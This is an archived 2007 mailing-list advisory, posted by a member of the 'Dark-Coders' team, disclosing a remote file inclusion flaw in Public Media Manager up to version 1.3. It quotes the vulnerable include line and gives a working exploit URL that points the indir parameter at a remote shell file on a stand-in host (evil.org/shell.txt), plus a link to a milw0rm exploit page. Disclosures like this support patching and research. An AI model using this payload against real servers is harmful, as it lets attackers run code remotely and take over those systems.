|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Public Media Manager <= 1.3 Remote File Inclusion Vulnerability
0in.email
gmail.com
Date: Sat Sep 29 2007 - 01:08:03 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
#f0und bY 0in
#Contact: 0in.emailgmail.com
#Download:http://pmm-cms.sourceforge.net/
#Greetings to:All Dark-Coders team #members:Die-angel,Slim,Umbro
#and other friends #Joker186,Artysta,Kaja,Wojto111,Rade0n
BUG:
news/newstopic_inc.php:2:if (!empty($indir)) include_once ($indir)."/newsdb/config.php";
Expl0it:
http://x.com/[path]/news/newstopic_inc.php?indir=http://evil.org/shell.txt?
Orginal first post & exploit: http://milw0rm.com/exploits/4465
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]